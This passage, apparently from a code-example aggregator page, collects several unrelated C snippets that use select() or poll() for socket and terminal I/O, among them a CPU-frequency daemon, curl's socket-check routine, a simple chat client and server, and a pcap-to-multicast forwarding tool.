   * Loop to read/write between remote client and host until 'esc  q' is received. 
   */
  for (;;)
    {
     FD_ZERO(&rset); 
      FD_SET (STDIN_FILENO, &rset);
      FD_SET (fd, &rset);
      selectval = select (maxfd, &rset, NULL, NULL, NULL);
      if (selectval == -1)
		{
		  syslog (LOG_ERR, "select(): %m");
		  break;
		}
      
      /*
	   * if client is readable, read from client, write to destination 
       */
      if (FD_ISSET (STDIN_FILENO, &rset))
		{
			  ch = getch();
			  if ((lastchar==0x1b) && (ch=='q')) {
#ifdef DEBUG				  
				  fprintf(stderr,"Esc-q received\n");
#endif				  
				  break;
			  }
			  write(fd,&ch,1);
			  lastchar = ch;
#ifdef DEBUG			  
			  if(lastchar == 0x1b)fprintf(stderr,"0x1b char received\n");
#endif			  
		}
      
      /*
	   * If destination is readable, read from destination, write to client. 
       */
      if (FD_ISSET (fd, &rset))
		{
		  nbytes = read(fd, &buf, TRANSFER_BUFFER_SIZE);
		  if (nbytes <= 0)
		    {
    	      fprintf(stderr,"server close connection\n");
		      break;
		    }
	  
		  if (write (STDOUT_FILENO, &buf, nbytes) != nbytes)
		    syslog(LOG_ERR, "Error on write %m");
	  
		  nbytes -= nbytes;
		}
    }
  
    cleanup();
#ifdef DEBUG    
   fprintf(stderr,"thread exit\n");
#endif   
   tcsetattr(hndl,TCSANOW,&saved_termios);
  return NULL;

}
Esempio n. 11
0
int
main(int argc, char * argv[])
{
	struct timeval timeout;
	fd_set fdset;
	int nfds;
	struct pidfh *pfh = NULL;
	const char *pidfile = NULL;
	int freq, curfreq, initfreq, *freqs, i, j, *mwatts, numfreqs, load;
	int minfreq = -1, maxfreq = -1;
	int ch, mode, mode_ac, mode_battery, mode_none, idle, to;
	uint64_t mjoules_used;
	size_t len;

	/* Default mode for all AC states is adaptive. */
	mode_ac = mode_none = MODE_HIADAPTIVE;
	mode_battery = MODE_ADAPTIVE;
	cpu_running_mark = DEFAULT_ACTIVE_PERCENT;
	cpu_idle_mark = DEFAULT_IDLE_PERCENT;
	poll_ival = DEFAULT_POLL_INTERVAL;
	mjoules_used = 0;
	vflag = 0;

	/* User must be root to control frequencies. */
	if (geteuid() != 0)
		errx(1, "must be root to run");

	while ((ch = getopt(argc, argv, "a:b:i:m:M:n:p:P:r:v")) != -1)
		switch (ch) {
		case 'a':
			parse_mode(optarg, &mode_ac, ch);
			break;
		case 'b':
			parse_mode(optarg, &mode_battery, ch);
			break;
		case 'i':
			cpu_idle_mark = atoi(optarg);
			if (cpu_idle_mark < 0 || cpu_idle_mark > 100) {
				warnx("%d is not a valid percent",
				    cpu_idle_mark);
				usage();
			}
			break;
		case 'm':
			minfreq = atoi(optarg);
			if (minfreq < 0) {
				warnx("%d is not a valid CPU frequency",
				    minfreq);
				usage();
			}
			break;
		case 'M':
			maxfreq = atoi(optarg);
			if (maxfreq < 0) {
				warnx("%d is not a valid CPU frequency",
				    maxfreq);
				usage();
			}
			break;
		case 'n':
			parse_mode(optarg, &mode_none, ch);
			break;
		case 'p':
			poll_ival = atoi(optarg);
			if (poll_ival < 5) {
				warnx("poll interval is in units of ms");
				usage();
			}
			break;
		case 'P':
			pidfile = optarg;
			break;
		case 'r':
			cpu_running_mark = atoi(optarg);
			if (cpu_running_mark <= 0 || cpu_running_mark > 100) {
				warnx("%d is not a valid percent",
				    cpu_running_mark);
				usage();
			}
			break;
		case 'v':
			vflag = 1;
			break;
		default:
			usage();
		}

	mode = mode_none;

	/* Poll interval is in units of ms. */
	poll_ival *= 1000;

	/* Look up various sysctl MIBs. */
	len = 2;
	if (sysctlnametomib("kern.cp_times", cp_times_mib, &len))
		err(1, "lookup kern.cp_times");
	len = 4;
	if (sysctlnametomib("dev.cpu.0.freq", freq_mib, &len))
		err(EX_UNAVAILABLE, "no cpufreq(4) support -- aborting");
	len = 4;
	if (sysctlnametomib("dev.cpu.0.freq_levels", levels_mib, &len))
		err(1, "lookup freq_levels");

	/* Check if we can read the load and supported freqs. */
	if (read_usage_times(NULL))
		err(1, "read_usage_times");
	if (read_freqs(&numfreqs, &freqs, &mwatts, minfreq, maxfreq))
		err(1, "error reading supported CPU frequencies");
	if (numfreqs == 0)
		errx(1, "no CPU frequencies in user-specified range");

	/* Run in the background unless in verbose mode. */
	if (!vflag) {
		pid_t otherpid;

		pfh = pidfile_open(pidfile, 0600, &otherpid);
		if (pfh == NULL) {
			if (errno == EEXIST) {
				errx(1, "powerd already running, pid: %d",
				    otherpid);
			}
			warn("cannot open pid file");
		}
		if (daemon(0, 0) != 0) {
			warn("cannot enter daemon mode, exiting");
			pidfile_remove(pfh);
			exit(EXIT_FAILURE);

		}
		pidfile_write(pfh);
	}

	/* Decide whether to use ACPI or APM to read the AC line status. */
	acline_init();

	/*
	 * Exit cleanly on signals.
	 */
	signal(SIGINT, handle_sigs);
	signal(SIGTERM, handle_sigs);

	freq = initfreq = curfreq = get_freq();
	i = get_freq_id(curfreq, freqs, numfreqs);
	if (freq < 1)
		freq = 1;

	/*
	 * If we are in adaptive mode and the current frequency is outside the
	 * user-defined range, adjust it to be within the user-defined range.
	 */
	acline_read();
	if (acline_status > SRC_UNKNOWN)
		errx(1, "invalid AC line status %d", acline_status);
	if ((acline_status == SRC_AC &&
	    (mode_ac == MODE_ADAPTIVE || mode_ac == MODE_HIADAPTIVE)) ||
	    (acline_status == SRC_BATTERY &&
	    (mode_battery == MODE_ADAPTIVE || mode_battery == MODE_HIADAPTIVE)) ||
	    (acline_status == SRC_UNKNOWN &&
	    (mode_none == MODE_ADAPTIVE || mode_none == MODE_HIADAPTIVE))) {
		/* Read the current frequency. */
		len = sizeof(curfreq);
		if (sysctl(freq_mib, 4, &curfreq, &len, NULL, 0) != 0) {
			if (vflag)
				warn("error reading current CPU frequency");
		}
		if (curfreq < freqs[numfreqs - 1]) {
			if (vflag) {
				printf("CPU frequency is below user-defined "
				    "minimum; changing frequency to %d "
				    "MHz\n", freqs[numfreqs - 1]);
			}
			if (set_freq(freqs[numfreqs - 1]) != 0) {
				warn("error setting CPU freq %d",
				    freqs[numfreqs - 1]);
			}
		} else if (curfreq > freqs[0]) {
			if (vflag) {
				printf("CPU frequency is above user-defined "
				    "maximum; changing frequency to %d "
				    "MHz\n", freqs[0]);
			}
			if (set_freq(freqs[0]) != 0) {
				warn("error setting CPU freq %d",
				    freqs[0]);
			}
		}
	}

	idle = 0;
	/* Main loop. */
	for (;;) {
		FD_ZERO(&fdset);
		if (devd_pipe >= 0) {
			FD_SET(devd_pipe, &fdset);
			nfds = devd_pipe + 1;
		} else {
			nfds = 0;
		}
		if (mode == MODE_HIADAPTIVE || idle < 120)
			to = poll_ival;
		else if (idle < 360)
			to = poll_ival * 2;
		else
			to = poll_ival * 4;
		timeout.tv_sec = to / 1000000;
		timeout.tv_usec = to % 1000000;
		select(nfds, &fdset, NULL, &fdset, &timeout);

		/* If the user requested we quit, print some statistics. */
		if (exit_requested) {
			if (vflag && mjoules_used != 0)
				printf("total joules used: %u.%03u\n",
				    (u_int)(mjoules_used / 1000),
				    (int)mjoules_used % 1000);
			break;
		}

		/* Read the current AC status and record the mode. */
		acline_read();
		switch (acline_status) {
		case SRC_AC:
			mode = mode_ac;
			break;
		case SRC_BATTERY:
			mode = mode_battery;
			break;
		case SRC_UNKNOWN:
			mode = mode_none;
			break;
		default:
			errx(1, "invalid AC line status %d", acline_status);
		}

		/* Read the current frequency. */
		if (idle % 32 == 0) {
			if ((curfreq = get_freq()) == 0)
				continue;
			i = get_freq_id(curfreq, freqs, numfreqs);
		}
		idle++;
		if (vflag) {
			/* Keep a sum of all power actually used. */
			if (mwatts[i] != -1)
				mjoules_used +=
				    (mwatts[i] * (poll_ival / 1000)) / 1000;
		}

		/* Always switch to the lowest frequency in min mode. */
		if (mode == MODE_MIN) {
			freq = freqs[numfreqs - 1];
			if (curfreq != freq) {
				if (vflag) {
					printf("now operating on %s power; "
					    "changing frequency to %d MHz\n",
					    modes[acline_status], freq);
				}
				idle = 0;
				if (set_freq(freq) != 0) {
					warn("error setting CPU freq %d",
					    freq);
					continue;
				}
			}
			continue;
		}

		/* Always switch to the highest frequency in max mode. */
		if (mode == MODE_MAX) {
			freq = freqs[0];
			if (curfreq != freq) {
				if (vflag) {
					printf("now operating on %s power; "
					    "changing frequency to %d MHz\n",
					    modes[acline_status], freq);
				}
				idle = 0;
				if (set_freq(freq) != 0) {
					warn("error setting CPU freq %d",
					    freq);
					continue;
				}
			}
			continue;
		}

		/* Adaptive mode; get the current CPU usage times. */
		if (read_usage_times(&load)) {
			if (vflag)
				warn("read_usage_times() failed");
			continue;
		}

		if (mode == MODE_ADAPTIVE) {
			if (load > cpu_running_mark) {
				if (load > 95 || load > cpu_running_mark * 2)
					freq *= 2;
				else
					freq = freq * load / cpu_running_mark;
				if (freq > freqs[0])
					freq = freqs[0];
			} else if (load < cpu_idle_mark &&
			    curfreq * load < freqs[get_freq_id(
			    freq * 7 / 8, freqs, numfreqs)] *
			    cpu_running_mark) {
				freq = freq * 7 / 8;
				if (freq < freqs[numfreqs - 1])
					freq = freqs[numfreqs - 1];
			}
		} else { /* MODE_HIADAPTIVE */
			if (load > cpu_running_mark / 2) {
				if (load > 95 || load > cpu_running_mark)
					freq *= 4;
				else
					freq = freq * load * 2 / cpu_running_mark;
				if (freq > freqs[0] * 2)
					freq = freqs[0] * 2;
			} else if (load < cpu_idle_mark / 2 &&
			    curfreq * load < freqs[get_freq_id(
			    freq * 31 / 32, freqs, numfreqs)] *
			    cpu_running_mark / 2) {
				freq = freq * 31 / 32;
				if (freq < freqs[numfreqs - 1])
					freq = freqs[numfreqs - 1];
			}
		}
		if (vflag) {
		    printf("load %3d%%, current freq %4d MHz (%2d), wanted freq %4d MHz\n",
			load, curfreq, i, freq);
		}
		j = get_freq_id(freq, freqs, numfreqs);
		if (i != j) {
			if (vflag) {
				printf("changing clock"
				    " speed from %d MHz to %d MHz\n",
				    freqs[i], freqs[j]);
			}
			idle = 0;
			if (set_freq(freqs[j]))
				warn("error setting CPU frequency %d",
				    freqs[j]);
		}
	}
	if (set_freq(initfreq))
		warn("error setting CPU frequency %d", initfreq);
	free(freqs);
	free(mwatts);
	devd_close();
	if (!vflag)
		pidfile_remove(pfh);

	exit(0);
}
Esempio n. 12
0
void
sendTest(int sockFD, int delay, int reqOOB, int size)
{
    char *buf, *bufTest;
    fd_set *rfds, *wfds, *efds;
    int i, j;
    int nbytes, code;
    selcmd_t selCmd;
    time_t stime, etime;

    buf = (char *)malloc(size);
    assert(buf);
    bufTest = (char *)malloc(size);
    assert(bufTest);

    for (j = i = 0; i < size; i++, j++) {
	if (j == END_DATA)
	    j++;
	if (j > 255)
	    j = 0;
	buf[i] = (char)j;
    }

    selCmd.sc_cmd = SC_WRITE;
    selCmd.sc_info = size;
    selCmd.sc_delay = delay;
    selCmd.sc_flags = SC_WAIT_ONLY;

    nbytes = write(sockFD, (char *)&selCmd, sizeof(selCmd));
    assert(nbytes == sizeof(selCmd));

    Log("Starting to write %d bytes.\n", size);
    if (!delay) {
	nbytes = write(sockFD, buf, size);
	assert(nbytes == size);
    } else {
	rfds = IOMGR_AllocFDSet();
	wfds = IOMGR_AllocFDSet();
	efds = IOMGR_AllocFDSet();
	if (!rfds || !wfds || !efds) {
	    printf("%s: Could not allocate all fd_sets.\n", program);
	    exit(1);
	}

	for (writeIndex = i = 0; i < size; writeIndex++, i++) {
	    FD_ZERO(rfds);
	    FD_ZERO(wfds);
	    FD_ZERO(efds);
	    FD_SET(sockFD, wfds);
	    FD_SET(sockFD, efds);
	    (void)time(&stime);
	    code =
		IOMGR_Select(sockFD + 1, rfds, wfds, efds,
			     (struct timeval *)NULL);
	    assert(code > 0);

	    if (FD_ISSET(sockFD, wfds)) {
		(void)time(&etime);
		if (etime - stime > 1) {
		    Log("Waited %d seconds to write at offset %d.\n",
			etime - stime, i);
		}
		stime = etime;
		nbytes = write(sockFD, &buf[i], 1);
		(void)time(&etime);
		if (etime - stime > 1) {
		    Log("Waited %d seconds IN write.\n", etime - stime);
		}
		assert(nbytes == 1);
		FD_CLR(sockFD, wfds);
	    }
	    assertNullFDSet(0, rfds);
	    assertNullFDSet(0, wfds);
	    assertNullFDSet(0, efds);
	}
    }

    Log("Wrote %d bytes.\n", size);
    i = 0;
    while (i < size) {
	nbytes = read(sockFD, &bufTest[i], size);
	i += nbytes;
    }
    Log("Read %d bytes.\n", size);

    assert(memcmp(buf, bufTest, size) == 0);
    Log("Compared %d bytes.\n", size);
}
Esempio n. 13
0
File: tour.c Progetto: myroman/beta
void dispatch(int rtSocket, int pgSocket, int pfpSocket) {
	fd_set set;
	int maxfd;
	struct timeval tv;	
	void* buf = malloc(MAXLINE);
	SockAddrIn senderAddr;	
	int addrLen = sizeof(senderAddr),
	res = 0;

	debug("Gonna listen to rtsocket: %d", rtSocket);
	for(;;){
		if (endOfTour == 0) {
			tv.tv_sec = 20;
		} 
		else {
			tv.tv_sec = 5;			
		}
		
		tv.tv_usec = 0;
		FD_ZERO(&set);
		FD_SET(rtSocket, &set);
		FD_SET(pgSocket, &set);
		maxfd = max(rtSocket, pgSocket);
		if (mcastRecvSd > 0) {
			FD_SET(mcastRecvSd, &set);
			maxfd = max(maxfd, mcastRecvSd);
		}
		res = select(maxfd + 1, &set, NULL, NULL, &tv);
		if (res == 0) {
			if (endOfTour == 1) {
				printf("Auf Wiedersehen!\n");
				return;
			}
			debug("Nothing read. Timeout.");				
			continue;
		}
		
		// if received a rt
		if(FD_ISSET(rtSocket, &set)){
			// let's choose some smaller value than 1500 bytes.
			bzero(buf, MAXLINE);
			bzero(&senderAddr, addrLen);
		 	addrLen = sizeof(senderAddr);
			int length = recvfrom(rtSocket, buf, MAXLINE, 0, (SA* )&senderAddr, &addrLen);
			if (length == -1) { 
				printFailed();								
			}
			char* ipr = inet_ntoa(senderAddr.sin_addr);			
			debug("Got rt packet from %s, length = %d", ipr, length);									
			processRtResponse(buf, length, senderAddr, rtSocket);			
		}
		// if received a ping
		if (FD_ISSET(pgSocket, &set)){
			bzero(buf, MAXLINE);
			bzero(&senderAddr, addrLen);
		 	addrLen = sizeof(senderAddr);
			int length = recvfrom(pgSocket, buf, MAXLINE, 0, (SA* )&senderAddr, &addrLen);
			if (length == -1) { 
				printFailed();								
			}

			processPgResponse(buf, length, senderAddr, addrLen);
		}

		if (mcastRecvSd > 0 && FD_ISSET(mcastRecvSd, &set)){
			bzero(buf, MAXLINE);
			bzero(&senderAddr, addrLen);
		 	addrLen = sizeof(senderAddr);
			int length = recvfrom(mcastRecvSd, buf, MAXLINE, 0, (SA* )&senderAddr, &addrLen);
			if (length == -1) { 
				printFailed();								
			}
			processMulticastRecv(buf, length, senderAddr, addrLen);

		}	
	}
	free(buf);
}
Esempio n. 14
0
int main(int argc,char *argv[])
{
    if(argc<3)
    {
        printf("Enter servername and portno.\nUsage:\n./bob <serveraddr here localhost> <portno. say 5000>");
    }
    int portno=atoi(argv[2]);
    struct sockaddr_in serv_addr;
    struct hostent *server;
    server=gethostbyname(argv[1]);
    if(server==NULL)
    {
        printf("Unable to locate server");
        exit(0);
    }
    int sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("Socket not created");
        exit(0);
    }
    bzero((char *)&serv_addr,sizeof(serv_addr));
    serv_addr.sin_family=AF_INET;
    serv_addr.sin_port=htons(portno);
    bcopy((char *)server->h_addr,(char *)&serv_addr.sin_addr.s_addr,server->h_length);
    char buf[200];
    if(connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0)
    {
        printf("Unable to connect");
        exit(0);
    }
    while(1)
    {
        fd_set readfds;
        FD_ZERO(&readfds);
        FD_SET(STDIN,&readfds);
        FD_SET(sockfd,&readfds);
        select(sockfd+1,&readfds,NULL,NULL,NULL);
        if(FD_ISSET(STDIN,&readfds))
        {
            gets(buf);
            int n=write(sockfd,buf,strlen(buf));
            if(n<0)
            {
                printf("\nUnable to send text to client\n");
                exit(0);
            }
            if(strcmp(buf,"EXIT")==0)
            {
                exit(0);
            }

        }
        if(FD_ISSET(sockfd,&readfds))
        {
            bzero(buf,sizeof(buf));
            int n=read(sockfd,buf,199);
            if(n<0)
            {
                printf("Unable to read");
                exit(0);
            }
            printf("[server]>>%s\n",buf);

        }

    }
            return 0;
}
Esempio n. 15
0
int main(int argc, char *argv[])
{
	int listen_fd, fd;
	int yes = 1;
	int addrlen;
	struct sockaddr_in addr;
	fd_set master_fds, read_fds;

	printf("Server: init\n");

	/* get new socket & allow immediately reusing reserved port */
	listen_fd = socket(AF_INET, SOCK_STREAM, 0);
	setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));

	/* server port and address */
	bzero(&addr, sizeof(addr));	
	addr.sin_family = AF_INET;	/* host byte order */
	addr.sin_port = htons(SERVER_PORT);	/* short, network byte order */
	addr.sin_addr.s_addr = INADDR_ANY;	/* host ip */

	if (bind(listen_fd, (struct sockaddr*)&addr, sizeof(struct sockaddr))
								 == -1 ) {
		perror("Server: bind");
		exit(1);
	}

	if (listen(listen_fd, BACKLOG) == -1 ) {
		perror("Server: listen");
		exit(1);
	}

	/* keep record of connections */
	FD_ZERO(&master_fds);
	FD_SET(listen_fd, &master_fds);

	/* main loop */
	while (1) {

		/* select modifies read_fds */
		read_fds = master_fds;
		if (select(MAXFD+1, &read_fds, NULL, NULL, NULL) == -1) {
			perror("Server: select");
			continue;
		}

		/* iterate read_fds for new data/connection */
		for (fd = 0; fd <= MAXFD; fd++) {
			if (FD_ISSET(fd, &read_fds)) {
				if (fd == listen_fd) {
					/* create and store to master */
					new_connection(fd, &master_fds);
				} else {
					/* handle and delete from master */ 
					handle_connection(fd, &master_fds);
				}
			}
		}
	}

	/* should never get here */
	close(listen_fd);
}
Esempio n. 16
0
/*
 * Wait for read or write events on a set of file descriptors. It uses poll()
 * when a fine poll() is available, in order to avoid limits with FD_SETSIZE,
 * otherwise select() is used.  An error is returned if select() is being used
 * and a file descriptor is too large for FD_SETSIZE.
 *
 * A negative timeout value makes this function wait indefinitely,
 * unles no valid file descriptor is given, when this happens the
 * negative timeout is ignored and the function times out immediately.
 *
 * Return values:
 *   -1 = system call error or fd >= FD_SETSIZE
 *    0 = timeout
 *    [bitmask] = action as described below
 *
 * CURL_CSELECT_IN - first socket is readable
 * CURL_CSELECT_IN2 - second socket is readable
 * CURL_CSELECT_OUT - write socket is writable
 * CURL_CSELECT_ERR - an error condition occurred
 */
int Curl_socket_check(curl_socket_t readfd0, /* two sockets to read from */
                      curl_socket_t readfd1,
                      curl_socket_t writefd, /* socket to write to */
                      long timeout_ms)       /* milliseconds to wait */
{
#ifdef HAVE_POLL_FINE
  struct pollfd pfd[3];
  int num;
#else
  struct timeval pending_tv;
  struct timeval *ptimeout;
  fd_set fds_read;
  fd_set fds_write;
  fd_set fds_err;
  curl_socket_t maxfd;
#endif
  struct timeval initial_tv = {0, 0};
  int pending_ms = 0;
  int error;
  int r;
  int ret;

  if((readfd0 == CURL_SOCKET_BAD) && (readfd1 == CURL_SOCKET_BAD) &&
     (writefd == CURL_SOCKET_BAD)) {
    /* no sockets, just wait */
    r = Curl_wait_ms((int)timeout_ms);
    return r;
  }

  /* Avoid initial timestamp, avoid curlx_tvnow() call, when elapsed
     time in this function does not need to be measured. This happens
     when function is called with a zero timeout or a negative timeout
     value indicating a blocking call should be performed. */

  if(timeout_ms > 0) {
    pending_ms = (int)timeout_ms;
    initial_tv = curlx_tvnow();
  }

#ifdef HAVE_POLL_FINE

  num = 0;
  if(readfd0 != CURL_SOCKET_BAD) {
    pfd[num].fd = readfd0;
    pfd[num].events = POLLRDNORM|POLLIN|POLLRDBAND|POLLPRI;
    pfd[num].revents = 0;
    num++;
  }
  if(readfd1 != CURL_SOCKET_BAD) {
    pfd[num].fd = readfd1;
    pfd[num].events = POLLRDNORM|POLLIN|POLLRDBAND|POLLPRI;
    pfd[num].revents = 0;
    num++;
  }
  if(writefd != CURL_SOCKET_BAD) {
    pfd[num].fd = writefd;
    pfd[num].events = POLLWRNORM|POLLOUT;
    pfd[num].revents = 0;
    num++;
  }

  do {
    if(timeout_ms < 0)
      pending_ms = -1;
    else if(!timeout_ms)
      pending_ms = 0;
    r = poll(pfd, num, pending_ms);
    if(r != -1)
      break;
    error = SOCKERRNO;
    if(error && error_not_EINTR)
      break;
    if(timeout_ms > 0) {
      pending_ms = (int)(timeout_ms - elapsed_ms);
      if(pending_ms <= 0) {
        r = 0;  /* Simulate a "call timed out" case */
        break;
      }
    }
  } while(r == -1);

  if(r < 0)
    return -1;
  if(r == 0)
    return 0;

  ret = 0;
  num = 0;
  if(readfd0 != CURL_SOCKET_BAD) {
    if(pfd[num].revents & (POLLRDNORM|POLLIN|POLLERR|POLLHUP))
      ret |= CURL_CSELECT_IN;
    if(pfd[num].revents & (POLLRDBAND|POLLPRI|POLLNVAL))
      ret |= CURL_CSELECT_ERR;
    num++;
  }
  if(readfd1 != CURL_SOCKET_BAD) {
    if(pfd[num].revents & (POLLRDNORM|POLLIN|POLLERR|POLLHUP))
      ret |= CURL_CSELECT_IN2;
    if(pfd[num].revents & (POLLRDBAND|POLLPRI|POLLNVAL))
      ret |= CURL_CSELECT_ERR;
    num++;
  }
  if(writefd != CURL_SOCKET_BAD) {
    if(pfd[num].revents & (POLLWRNORM|POLLOUT))
      ret |= CURL_CSELECT_OUT;
    if(pfd[num].revents & (POLLERR|POLLHUP|POLLNVAL))
      ret |= CURL_CSELECT_ERR;
  }

  return ret;

#else  /* HAVE_POLL_FINE */

  FD_ZERO(&fds_err);
  maxfd = (curl_socket_t)-1;

  FD_ZERO(&fds_read);
  if(readfd0 != CURL_SOCKET_BAD) {
    VERIFY_SOCK(readfd0);
    FD_SET(readfd0, &fds_read);
    FD_SET(readfd0, &fds_err);
    maxfd = readfd0;
  }
  if(readfd1 != CURL_SOCKET_BAD) {
    VERIFY_SOCK(readfd1);
    FD_SET(readfd1, &fds_read);
    FD_SET(readfd1, &fds_err);
    if(readfd1 > maxfd)
      maxfd = readfd1;
  }

  FD_ZERO(&fds_write);
  if(writefd != CURL_SOCKET_BAD) {
    VERIFY_SOCK(writefd);
    FD_SET(writefd, &fds_write);
    FD_SET(writefd, &fds_err);
    if(writefd > maxfd)
      maxfd = writefd;
  }

  ptimeout = (timeout_ms < 0) ? NULL : &pending_tv;

  do {
    if(timeout_ms > 0) {
      pending_tv.tv_sec = pending_ms / 1000;
      pending_tv.tv_usec = (pending_ms % 1000) * 1000;
    }
    else if(!timeout_ms) {
      pending_tv.tv_sec = 0;
      pending_tv.tv_usec = 0;
    }

    /* WinSock select() must not be called with an fd_set that contains zero
       fd flags, or it will return WSAEINVAL.  But, it also can't be called
       with no fd_sets at all!  From the documentation:

         Any two of the parameters, readfds, writefds, or exceptfds, can be
         given as null. At least one must be non-null, and any non-null
         descriptor set must contain at least one handle to a socket.

       We know that we have at least one bit set in at least two fd_sets in
       this case, but we may have no bits set in either fds_read or fd_write,
       so check for that and handle it.  Luckily, with WinSock, we can _also_
       ask how many bits are set on an fd_set.

       It is unclear why WinSock doesn't just handle this for us instead of
       calling this an error.

       Note also that WinSock ignores the first argument, so we don't worry
       about the fact that maxfd is computed incorrectly with WinSock (since
       curl_socket_t is unsigned in such cases and thus -1 is the largest
       value).
    */
#ifdef USE_WINSOCK
    r = select((int)maxfd + 1,
               fds_read.fd_count ? &fds_read : NULL,
               fds_write.fd_count ? &fds_write : NULL,
               &fds_err, ptimeout);
#else
    r = select((int)maxfd + 1, &fds_read, &fds_write, &fds_err, ptimeout);
#endif

    if(r != -1)
      break;
    error = SOCKERRNO;
    if(error && error_not_EINTR)
      break;
    if(timeout_ms > 0) {
      pending_ms = timeout_ms - elapsed_ms;
      if(pending_ms <= 0) {
        r = 0;  /* Simulate a "call timed out" case */
        break;
      }
    }
  } while(r == -1);

  if(r < 0)
    return -1;
  if(r == 0)
    return 0;

  ret = 0;
  if(readfd0 != CURL_SOCKET_BAD) {
    if(FD_ISSET(readfd0, &fds_read))
      ret |= CURL_CSELECT_IN;
    if(FD_ISSET(readfd0, &fds_err))
      ret |= CURL_CSELECT_ERR;
  }
  if(readfd1 != CURL_SOCKET_BAD) {
    if(FD_ISSET(readfd1, &fds_read))
      ret |= CURL_CSELECT_IN2;
    if(FD_ISSET(readfd1, &fds_err))
      ret |= CURL_CSELECT_ERR;
  }
  if(writefd != CURL_SOCKET_BAD) {
    if(FD_ISSET(writefd, &fds_write))
      ret |= CURL_CSELECT_OUT;
    if(FD_ISSET(writefd, &fds_err))
      ret |= CURL_CSELECT_ERR;
  }

  return ret;

#endif  /* HAVE_POLL_FINE */

}
Esempio n. 17
0
File: cap2rpc.c Progetto: EQ4/DSTK
int main (int argc, char * argv[]) {

// input
    char * parsefilter;
    char * interface;

// output
    unsigned char sendbuffer[ETHERNETMTU];
    dstkheader_str * dstkheader;
    void * dstkdata;

    char * d_ipaddress;
    int d_port;

// verbose
    int verboselevel=0;

// outgoing udp stream
    int sock_out;
    struct sockaddr_in6 MulticastOutAddr6;
    struct sockaddr_in MulticastOutAddr4;
    int v4orv6_out=-1; // 0=ipv4, 1=ipv6
    char loopch=0;


// headers
    struct ethhdr * etherhead; // ethernet header
    struct dss_rpc_header * rpchead; // D-STAR SubStream RPC header: IP + UDP + RPC HEADER

// everything pcap related
    pcap_t * pcaphandle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    struct pcap_pkthdr * header;
    const u_char *packet;


// some other vars
    int ret;
    int timeouts;
    int packetsequence;
    int len;
    int udp_len;
    int rpcdata_len;
    int paramloop;

// time structures: used with srandom
    struct timeval now;
    struct timezone tz;

// ////// data definition done ///

// main program starts here ///
// part 1: initialise vars and check cli-arguments
    d_ipaddress=default_d_ipaddress;
    d_port=default_d_port;
    interface=default_interface;
    parsefilter=default_parsefilter;


// CLI option decoding
// format: cap2rpc [-v] [-i interface] [-p "parsefilter"] [-di ipaddress ] [ -dp port]
// format: cap2rpc [-V]
// format: cap2rpc [-h]

// parse CLI options

    for (paramloop=1; paramloop<argc; paramloop++) {
        char * thisarg=argv[paramloop];

        if (strcmp(thisarg,"-V") == 0) {
            // -V = version
            fprintf(stderr,"%s version %s\n",argv[0],VERSION);
            exit(0);
        } else if (strcmp(thisarg,"-h") == 0) {
            // -h = help
            help(argv[0]);
            exit(0);
        } else if (strcmp(thisarg,"-v") == 0) {
            // -v = verbose
            verboselevel++;
        } else if (strcmp(thisarg,"-di") == 0) {
            // -di = DESTINATION ipaddress
            if (paramloop+1 < argc) {
                paramloop++;
                d_ipaddress=argv[paramloop];
            }; // end if
        } else if (strcmp(thisarg,"-dp") == 0) {
            // -dp = DESTINATION port
            if (paramloop+1 < argc) {
                paramloop++;
                d_port=atoi(argv[paramloop]);
            }; // end if
        } else if (strcmp(thisarg,"-i") == 0) {
            // -i = interface
            if (paramloop+1 < argc) {
                paramloop++;
                interface=argv[paramloop];
            }; // end if
        } else if (strcmp(thisarg,"-p") == 0) {
            // -p = parsefilter
            if (paramloop+1 < argc) {
                paramloop++;
                parsefilter=argv[paramloop];
            }; // end if
        }; // end elsif ... if
    }; // end for


// sanity checks


//////
// main program starts here

// init vars and buffers
    dstkheader = (dstkheader_str *) sendbuffer;
    dstkdata = (void *) sendbuffer + sizeof(dstkheader_str);

// reset all values to 0
    memset(dstkheader,0,sizeof(dstkheader_str));

// fill in fixed parts
    dstkheader->version=1;
// only one single subframe in a DTAK frame: set next-header to 0
    dstkheader->flags=0 | DSTK_FLG_LAST;

    dstkheader->type=htonl(TYPE_RPC);
    dstkheader->origin=htons(ORIGIN_LOC_RPC);

// streamid is random
    gettimeofday(&now,&tz);
    srandom(now.tv_usec);

    dstkheader->streamid1=random();
    dstkheader->streamid2=0;


// open pcap handle for live snooping on interface eth1
    pcaphandle = pcap_open_live(interface,PKT_BUFSIZE,0,500,errbuf);

    if (pcaphandle == NULL) {
        fprintf(stderr,"could not open device %s: %s\n",interface,errbuf);
        exit(-1);
    }; // end if

// pcap filter

    if (pcap_compile(pcaphandle, &fp, parsefilter, 0, 0) == -1) {
        fprintf(stderr,"could not compile filter %s: %s\n",parsefilter,pcap_geterr(pcaphandle));
        exit(-1);
    }; // end if

    if (pcap_setfilter(pcaphandle, &fp) == -1) {
        fprintf(stderr, "Couldn't install filter %s: %s\n", parsefilter, pcap_geterr(pcaphandle));
        exit(-1);
    }


// packets are send to multicast address, UDP port 40000 or 40001
    MulticastOutAddr4.sin_family = AF_INET;
    MulticastOutAddr4.sin_port = htons((unsigned short int) d_port);

    MulticastOutAddr6.sin6_family = AF_INET6;
    MulticastOutAddr6.sin6_scope_id = 1;
    MulticastOutAddr6.sin6_port = htons((unsigned short int) d_port);


// try to resolv for ipv4
    ret=inet_pton(AF_INET,d_ipaddress,(void *)&MulticastOutAddr4.sin_addr);
    if (ret == 1) {
        v4orv6_out=0;
    } else {
        // coulf not convert address from text into valid address, try again in ipv6
        ret=inet_pton(AF_INET6,d_ipaddress,(void *)&MulticastOutAddr6.sin6_addr);

        if (ret != 1) {
            fprintf(stderr,"Error: could not convert %s into valid address. Exiting\n",d_ipaddress);
            exit(1);
        }; // end if

        v4orv6_out=1;
    }; // end if


// open socket for outgoing UDP
    if (v4orv6_out) {
        // ipv6
        sock_out=socket(AF_INET6,SOCK_DGRAM,0);
    } else {
        // ipv4
        sock_out=socket(AF_INET,SOCK_DGRAM,0);
    }; // end else - if

    if (sock_out <= 0) {
        fprintf(stderr,"Could not create socket for multicast UDP out! Exiting!\n");
        exit(-1);
    }; // end if


// set socket options for IP multicast
// should be ignored for unicast traffic
